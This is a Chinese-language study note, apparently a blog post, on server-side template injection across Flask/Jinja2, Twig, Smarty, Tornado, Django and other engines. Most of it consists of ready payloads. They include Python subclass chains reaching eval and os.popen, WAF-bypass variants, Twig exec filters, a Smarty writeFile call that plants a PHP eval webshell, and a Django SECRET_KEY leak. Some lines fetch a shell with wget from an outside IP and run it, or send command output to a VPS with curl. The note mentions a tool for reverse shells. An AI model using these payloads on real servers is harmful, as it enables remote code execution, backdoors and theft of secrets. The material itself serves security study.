SSTI原理学习 Flask框架 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from flask import requestfrom flask import Flaskfrom flask import render_template_stringapp = Flask(__name__) @app.route('/test/' ) def test (): code = request.args.get('id' ) html = ''' <h3>%s</h3> ''' % code return render_template_string(html) if __name__ == '__main__' : app.run(debug=True )
常用魔术方法 1 2 3 4 5 6 7 8 9 10 11 12 13 __class__ __base__ __bases__ __mro__ __subclasses__() __init__ __globals__ __dict__ __getattribute__() __getitem__() __builtins__ __import__ __str__()
利用eval内建函数执行命令–payload理解 1 2 3 '' .__class__.__base__ '' .__class__.__base__.__subclasses__()[99 ] '' .__class__.__base__.__subclasses__()[99 ].__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('ls +/').read()" )
执行system函数,打印出0,表示命令执行成功;否则表示失败
os.popen()返回的是 file read 的对象,对其进行读取read()操作可以看到执行的输出
注意:在想要使用popen
搭配几个read
函数获取命令执行结果时请务必注意换行符\n
,进行字符串处理时需对该\n
符进行处理
💡Tips–几个含有eval函数的类
warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize
_frozen_importlib_external.FileLoader
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsheaders = { 'User-Agent' :'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0' } for i in range (500 ): url = "http://127.0.0.1:5000/?id={{().__class__.__bases__[0].__subclasses__()[" +str (i)+"].__init__.__globals__['__builtins__']}}" res = requests.get(url=url, headers=headers) if 'eval' in res.text: print (i)
__builtins__
为内建模块 builtin存在于python2中,而在python3中被命名为builtins,__builtins__
实际上是__builtin__
和builtins
的引用
函数关键字绕过 利用__dict__
方法,
1 os.__dict__['s' +'ystem' ]('whoami' )
利用__getattribute__
方法绕过
1 2 3 __init__.__getattribute__('__global' +'s__' )['sys' ] "" .__getattribute__("__cla" "ss__" )"" .__getattribute__("__ssalc__" [::-1 ])
ascii转换
1 "" ["%c%c%c%c%c%c%c%c%c" |format (95 ,95 ,99 ,108 ,97 ,115 ,115 ,95 ,95 )]
system函数代替popen,配合vps与curl命令
1 '' .__class__.__mro__[-1 ].__subclasses__()[71 ].__init__.__globals__['os' ].system('ls > tt.txt & cat tt.txt | xargs -I {} curl http://vps公网IP地址/?{}' )
点号.
绕过 利用attr
绕过 e.g. ""|attr("__class__")
相当于 "".__class__
利用[]
绕过 e.g. {{"".__class__}}
相当于 {{""['__classs__']}}
中括号[]
绕过 1 2 3 4 5 {{url_for.__globals__['__builtins__' ]}} {{url_for.__globals__.__getitem__('__builtins__' )}} {{url_for.__globals__.pop('__builtins__' )}} {{url_for.__globals__.get('__builtins__' )}} {{url_for.__globals__.setdefault('__builtins__' )}}
下划线_
绕过 1 2 3 {{"" ["\x5f\x5fclass\x5f\x5f" ]["\x5F\x5Fbases\x5F\x5F" ][0 ]["\x5F\x5Fsubclasses\x5F\x5F" ]()[91 ]["get\x5Fdata" ](0 , "app\x2Epy" )}} {{"" .__class__.__bases__[0 ].__subclasses__()[91 ].get_data(0 ,"app.py" )}}
“\x5f”是字符 ”_“,”\x2E”是字符 “.”。
PHP中的SSTI php常见的模板:twig,smarty,blade
Twig 1 2 3 4 5 6 7 <?php require_once dirname (__FILE__ ).'\twig\lib\Twig\Autoloader.php' ; Twig_Autoloader ::register (true ); $twig = new Twig_Environment (new Twig_Loader_String ()); $output = $twig ->render ("Hello {{name}}" , array ("name" => $_GET ["name" ])); echo $output ; ?>
Twig使用一个加载器 loader(Twig_Loader_Array) 来定位模板,以及一个环境变量 environment(Twig_Environment) 来存储配置信息。
render() 方法通过其第一个参数载入模板,并通过第二个参数中的变量来渲染模板
但即使向name传入js代码进行渲染也不能成功,因为模版引擎一般都默认对渲染的变量值进行编码和转义
渲染的模版内容受到用户的控制 1 2 3 4 5 6 <?php require_once dirname (__FILE__ ).'/../lib/Twig/Autoloader.php' ; Twig_Autoloader ::register (true ); $twig =newTwig_Environment (newTwig_Loader_String ()); $output =$twig ->render ("Hello {$_GET['name']} " ); echo $output ;?>
此时可以传入js代码或其他表达式等,会被成功执行
判断技巧 作为 Twig 模板引擎的默认注释形式,所以在前端输出的时候并不会显示
因此可以得到以下判断流程图
image-20220816200203853
如果在web页面的源代码中看到了诸如以下的字符,就可以推断网站使用了某些模板引擎来呈现数据
1 2 3 4 <div > {$what}</div > <p > Welcome, {{username}}</p > <div > {%$a%}</div > ...
可以注入了探测字符串 $579,以查看应用程序是否进行了相应的计算
在这里提供一个针对twig的攻击载荷:
1 {{_self.env.registerUndefinedFilterCallback("exec" )}} {{_self.env.getFilter("ls" )}}
可以填入系统命令执行
模板注入远程下载shell,并重命名运行
1 {{_self.env.registerUndefinedFilterCallback("exec" )}} {{_self.env.getFilter("wget http://192.168.127.131/shell.txt -O /tmp/shell.php;php -f /tmp/shell.php" )}}
以上就是php twig模板注入,由于以上使用的twig为2.x版本,现在官方已经更新到3.x版本,根据官方文档新增了 filter 和 map 等内容,补充一些新版本的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 {{'/etc/passwd' | file_excerpt (1 ,30 )}} {{app.request.files.get(1 ).__construct('/etc/passwd' ,'' )}} {{app.request.files.get(1 ).openFile.fread(99 )}} {{_self.env.registerUndefinedFilterCallback("exec" )}} {{_self.env.getFilter("whoami" )}} {{_self.env.enableDebug()}} {{_self.env.isDebug()}} {{["id" ]| map ("system" )| join ("," ) {{{"<?php phpinfo();" :"/var/www/html/shell.php" }| map ("file_put_contents" )}} {{["id" ,0]| sort ("system" )| join ("," )}} {{["id" ]| filter ("system" )| join ("," )}} {{[0,0]| reduce ("system" ,"id" )| join ("," )}} {{['cat /etc/passwd' ]| filter ('system' )}}
TWIG 全版本通用 SSTI payloads - 先知社区 (aliyun.com)
Smarty Smarty是最流行的PHP模板语言之一,为不受信任的模板执行提供了安全模式。这会强制执行在 php 安全函数白名单中的函数,因此我们在模板中无法直接调用 php 中直接执行命令的函数(相当于存在了一个disable_function)
$smarty
内置变量可用于访问各种环境变量,比如我们使用 self 得到 smarty 这个类以后我们就去找 smarty 给我们的的方法
smarty/libs/sysplugins/smarty_internal_data.php ——> getStreamVariable() 这个方法可以获取传入变量的流
image-20220817011709847
因此我们可以用这个方法读文件,payload:
1 {self ::getStreamVariable ("file:///etc/passwd" )}
smarty/libs/sysplugins/smarty_internal_write_file.php ——> Smarty_Internal_Write_File 这个类中有一个writeFile方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 class Smarty_Internal_Write_File { public function writeFile ($_filepath , $_contents , Smarty $smarty ) { $_error_reporting = error_reporting (); error_reporting ($_error_reporting & ~E_NOTICE & ~E_WARNING); if ($smarty ->_file_perms !== null ) { $old_umask = umask (0 ); } $_dirpath = dirname ($_filepath ); if ($_dirpath !== '.' && !file_exists ($_dirpath )) { mkdir ($_dirpath , $smarty ->_dir_perms === null ? 0777 : $smarty ->_dir_perms, true ); } $_tmp_file = $_dirpath . DS . str_replace (array ('.' , ',' ), '_' , uniqid ('wrt' , true )); if (!file_put_contents ($_tmp_file , $_contents )) { error_reporting ($_error_reporting ); throw new SmartyException ("unable to write file {$_tmp_file} " ); } if (Smarty ::$_IS_WINDOWS ) { if (is_file ($_filepath )) { @unlink ($_filepath ); } $success = @rename ($_tmp_file , $_filepath ); } else { $success = @rename ($_tmp_file , $_filepath ); if (!$success ) { if (is_file ($_filepath )) { @unlink ($_filepath ); } $success = @rename ($_tmp_file , $_filepath ); } } if (!$success ) { error_reporting ($_error_reporting ); throw new SmartyException ("unable to write file {$_filepath} " ); } if ($smarty ->_file_perms !== null ) { chmod ($_filepath , $smarty ->_file_perms); umask ($old_umask ); } error_reporting ($_error_reporting ); return true ; } }
可以看到 writeFile 函数第三个参数一个 Smarty 类型,后来找到了 self::clearConfig(),返回类型是Smarty 函数原型:
1 2 3 4 public function clearConfig ($varname = null ) { return Smarty_Internal_Extension_Config ::clearConfig ($this , $varname ); }
因此我们可以构造payload写个webshell:
1 {Smarty_Internal_Write_File ::writeFile ($SCRIPT_NAME ,"<?php eval($_GET ['cmd']); ?>" ,self ::clearConfig ())}
常见注入点 页面显示ip,考虑在受XFF控制,抓包修改X-Forwarded-For值为payload,可以先用{7*7}
测试
如果没有特殊过滤,可以直接用system函数{system('cat /flag')}
常规利用方式
Smarty3版本中已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用
1 <script language="php" >phpinfo ();</script>
这个地方借助了 {literal} 这个标签,因为 {literal} 可以让一个模板区域的字符原样输出。 这经常用于保护页面上的Javascript或css样式表 ,避免因为Smarty的定界符而错被解析。但是这种写法只适用于php5环境
1 {self ::getStreamVariable ("file:///etc/passwd" )}
读文件,3.1.30的Smarty版本中官方已经把该静态方法删除
Smarty的 {if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||,or,&&,and,is_array()等等,如:{if is_array($array)}{/if}
也可以执行系统命令
漏洞成因 1 2 3 4 5 6 <?php require_once ('./smarty/libs/' . 'Smarty.class.php' ); $smarty = new Smarty (); $ip = $_SERVER ['HTTP_X_FORWARDED_FOR' ]; $smarty ->display ("string:" .$ip ); }
Blade laravel Blade 模板引擎 - 心之所依 - 博客园 (cnblogs.com)
Blade 模板引擎有三种常见的语法:
通过 {{ }}
渲染 PHP 变量(最常用)
通过 {!! !!}
渲染原生 HTML 代码(用于富文本数据渲染)
通过以 @
作为前缀的 Blade 指令执行一些控制结构和继承、引入之类的操作
渲染数据 我们来看一下 {{}}
语法,我们通过通过该语法包裹需要渲染的 PHP 变量,如 {{ $variable }}
,你可以将其类比为 <?php echo $variable; ?>
,但是 Blade 模板代码的功能要更强大,通过 {{}}
语法包裹渲染的 PHP 变量会通过 htmlentities()
方法进行 HTML 字符转义,从而避免类似 XSS 这种攻击,提高了代码的安全性,所以 {{ $variable }}
编译后的最终代码是:
1 <?php echo htmlentities ($variable ); ?>
但是某些情况下不能对变量中 HTML 字符进行转义,比如我们在表单通过富文本编辑器编辑后提交的表单数据,这种场景就需要通过 {!! !!}
来包裹待渲染数据了:
这样编译后的代码就是 <?php echo $variable; ?>
了
如果要注释一段 PHP 代码,可以通过 {{-- 注释内容 --}}
实现
Python中的SSTI python常见的模板有:Jinja2,tornado
Jinja2 Jinja2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的
Jinja2是Flask框架的一部分。Jinja2会把模板参数提供的相应的值替换了 {{…}}
块
Jinja2使用 {{name}}
结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取。
Jinja2 模板同样支持控制语句,像在{%…%}
块中,下面举一个常见的使用Jinja2模板引擎for语句循环渲染一组元素的例子:
1 2 3 4 5 <ul> {% for comment in comments %} <li>{{comment}}</li> {% endfor %} </ul>
另外Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值
1 Hello, {{name|capitalize}}
可注入情形代码 1 2 3 4 5 def index (): name = request.args.get('name' , 'guest' ) t = Template("Hello " + name) return t.render()
get传参 {{2*2}}
显示4
不可注入情形代码 1 2 3 4 5 def index (): name = request.args.get('name' , 'guest' ) t = Template("Hello {{n}}" ) return t.render(n=name)
用file对象读文件 1 2 3 4 for c in {}.__class__.__base__.__subclasses__(): if (c.__name__=='file' ): print (c) print c('joker.txt' ).readlines()
上述代码先通过__class__获取字典对象所属的类,再通过__base__(__bases[0])拿到基类,然后使用__subclasses ()获取子类列表,在子类列表中直接寻找可以利用的类
再使用jinja2的语法封装成可解析的样子:
1 2 3 4 5 {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='file' %} {{ c("/etc/passwd").readlines() }} {% endif %} {% endfor %}
python3已经移除了file。所以利用file子类文件读取只能在python2中用。
内置模块执行命令 可以用__globals__更深入的去看每个类可以调用的东西(包括模块,类,变量等等),如果有os这种可以直接传入命令,造成命令执行
先用脚本找到在哪个子类中,得到下标
1 2 3 4 5 6 7 8 9 num = -1 for i in ().__class__.__bases__[0 ].__subclasses__(): num += 1 try : if search in i.__init__.__globals__.keys(): print (i, num) except : pass
可以看到在元组68,73的位置找到了os方法,这样就可以构造命令执行payload:
1 2 3 4 ().__class__.__bases__[0 ].__subclasses__()[68 ].__init__.__globals__['os' ].system('whoami' ) ().__class__.__base__.__subclasses__()[73 ].__init__.__globals__['os' ].system('whoami' ) ().__class__.__mro__[1 ].__subclasses__()[68 ].__init__.__globals__['os' ].system('whoami' ) ().__class__.__mro__[1 ].__subclasses__()[73 ].__init__.__globals__['os' ].system('whoami' )
不过同样,只能在python2版本使用
推荐__builtins__:
1 2 3 4 5 6 7 8 9 10 11 12 search = '__builtins__' num = -1 for i in ().__class__.__bases__[0 ].__subclasses__(): num += 1 try : print (i.__init__.__globals__.keys()) if search in i.__init__.__globals__.keys(): print (i, num) except : pass
python3:
1 ().__class__.__bases__[0 ].__subclasses__()[64 ].__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').system('whoami')" )
python2:
1 ().__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').system('whoami')" )
基础payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 获得基类 '' .__class__.__mro__[2 ]{}.__class__.__bases__[0 ] ().__class__.__bases__[0 ] [].__class__.__bases__[0 ] request.__class__.__mro__[1 ] '' .__。。。class__.__mro__[1 ]{}.__class__.__bases__[0 ] ().__class__.__bases__[0 ] [].__class__.__bases__[0 ] request.__class__.__mro__[1 ] [].__class__.__bases__[0 ].__subclasses__()[40 ] [].__class__.__bases__[0 ].__subclasses__()[40 ]('/etc/passwd' ).read() [].__class__.__bases__[0 ].__subclasses__()[40 ]('/tmp' ).write('test' ) [].__class__.__bases__[0 ].__subclasses__()[59 ].__init__.func_globals.linecache下有os类,可以直接执行命令: [].__class__.__bases__[0 ].__subclasses__()[59 ].__init__.func_globals.linecache.os.popen('id' ).read() [].__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__globals__.__builtins__下有eval ,__import__ 等的全局函数,可以利用此来执行命令: [].__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('id').read()" ) [].__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__globals__.__builtins__.eval ("__import__('os').popen('id').read()" ) [].__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__globals__.__builtins__.__import__ ('os' ).popen('id' ).read() [].__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['__import__' ]('os' ).popen('id' ).read() {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ].eval ("__import__('os').popen('id').read()" ) }}{% endif %}{% endfor %} {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ].open ('filename' , 'r' ).read() }}{% endif %}{% endfor %} "" .__class__.__bases__[0 ].__subclasses__()[118 ].__init__.__globals__['popen' ]('dir' ).read()
绕过WAF姿势 过滤[
1 2 3 '' .__class__.__mro__.__getitem__(2 ).__subclasses__().pop(40 )('/etc/passwd' ).read()'' .__class__.__mro__.__getitem__(2 ).__subclasses__().pop(59 ).__init__.func_globals.linecache.os.popen('ls' ).read()
过滤引号
1 2 3 4 5 6 7 8 {% set chr =().__class__.__bases__.__getitem__(0 ).__subclasses__()[59 ].__init__.__globals__.__builtins__.chr %} {{().__class__.__bases__.__getitem__(0 ).__subclasses__().pop(40 )(chr (47 )%2bchr(101 )%2bchr(116 )%2bchr(99 )%2bchr(47 )%2bchr(112 )%2bchr(97 )%2bchr(115 )%2bchr(115 )%2bchr(119 )%2bchr(100 )).read()}} {{().__class__.__bases__.__getitem__(0 ).__subclasses__().pop(40 )(request.args.path).read() }}&path=/etc/passwd {% set chr =().__class__.__bases__.__getitem__(0 ).__subclasses__()[59 ].__init__.__globals__.__builtins__.chr %} {{().__class__.__bases__.__getitem__(0 ).__subclasses__().pop(59 ).__init__.func_globals.linecache.os.popen(chr (105 )%2bchr(100 )).read() }} {{().__class__.__bases__.__getitem__(0 ).__subclasses__().pop(59 ).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id
过滤下划线
1 {{'' [request.args.class ][request.args.mro][2 ][request.args.subclasses]()[40 ]('/etc/passwd' ).read() }}&class =__class__&mro=__mro__&subclasses=__subclasses__
过滤花括号
1 2 {% if '' .__class__.__mro__[2 ].__subclasses__()[59 ].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`' ).read()=='p' %}1 {% endif %}
这里推荐自动化工具tplmap,拿shell、执行命令、bind_shell、反弹shell、上传下载文件,Tplmap为SSTI的利用提供了很大的便利
tornado tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}
进行传递变量和执行简单的表达式。
以下代码将定义一个TEMPLATE变量作为一个模板文件,然后使用传入的name替换模板中的”FOO”,在进行加载模板并输出,且未对name值进行安全检查输入情况。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import tornado.templateimport tornado.ioloopimport tornado.webTEMPLATE = ''' <html> <head><title> Hello {{ name }} </title></head> <body> Hello max </body> </html> ''' class MainHandler (tornado.web.RequestHandler): def get (self ): name = self .get_argument('name' , '' ) template_data = TEMPLATE.replace("FOO" ,name) t = tornado.template.Template(template_data) self .write(t.generate(name=name)) application = tornado.web.Application([(r"/" , MainHandler),], debug=True , static_path=None , template_path=None ) if __name__ == '__main__' : application.listen(8000 ) tornado.ioloop.IOLoop.instance().start()
利用 在tornado模板中,存在一些可以访问的快速对象,比如 {{escape(handler.settings["cookie"])}}
,这个其实就是handler.settings对象,里面存储着一些环境变量
Django 先看存在漏洞的代码:
1 2 3 def view(request, *args, **kwargs): template = 'Hello {user}, This is your email: ' + request.GET.get('email') return HttpResponse(template.format(user=request.user))
很明显 email 就是注入点,但是条件被限制的很死,很难执行命令,现在拿到的只有有一个和user有关的变量request.user ,这个时候我们就应该在没有应用源码的情况下去寻找框架本身的属性,看这个空框架有什么属性和类之间的引用。
后来发现Django自带的应用 “admin”(也就是Django自带的后台)的models.py中导入了当前网站的配置文件:
image-20220817022432341
所以可以通过某种方式,找到Django默认应用admin的model,再通过这个model获取settings对象,进而获取数据库账号密码、Web加密密钥等信息。
1 2 3 http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY} http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
Java中的SSTI java常见的引擎:FreeMarker, velocity
velocity Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)
基本语法 语句标识符
#用来标识Velocity的脚本语句,包括#set、#if 、#else、#end、#foreach、#end、#include、#parse、#macro等语句。
变量
$用来标识一个变量,比如模板文件中为Hello $a,可以获取通过上下文传递的$a
声明
set用于声明Velocity脚本变量,变量可以在脚本中声明
1 2 3 #set($a ="velocity") #set($b=1) #set($arrayName=["1","2"])
注释
单行注释为##,多行注释为成对出现的#* …………. *#
条件语句
以if/else为例:
1 2 3 4 5 6 7 8 9 #if($foo<10) <strong>1</strong> #elseif($foo==10) <strong>2</strong> #elseif($bar==6) <strong>3</strong> #else <strong>4</strong> #end
转义字符
如果$a已经被定义,但是又需要原样输出$a,可以试用\转义作为关键的$
基础使用 //待补充
FreeMarker FreeMarker 是一款模板引擎:即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具
FreeMarker模板代码 :1 2 3 4 5 6 7 8 9 10 <html> <head> <title>Welcome!</title> </head> <body> <#-这是注释-> <h1>Welcome ${user}!</h1> <p>Our latest product: <a href="${latestProduct.url}">${latestProduct.name}</a>! </body> </html>
模板文件存放在Web服务器上,就像通常存放静态HTML页面那样。当有人来访问这个页面, FreeMarker将会介入执行,然后动态转换模板,用最新的数据内容替换模板中 ${…} 的部分, 之后将结果发送到访问者的Web浏览器中。
这个模板主要用于 java ,用户可以通过实现 TemplateModel 来用 new 创建任意 Java 对象
主要 //待补充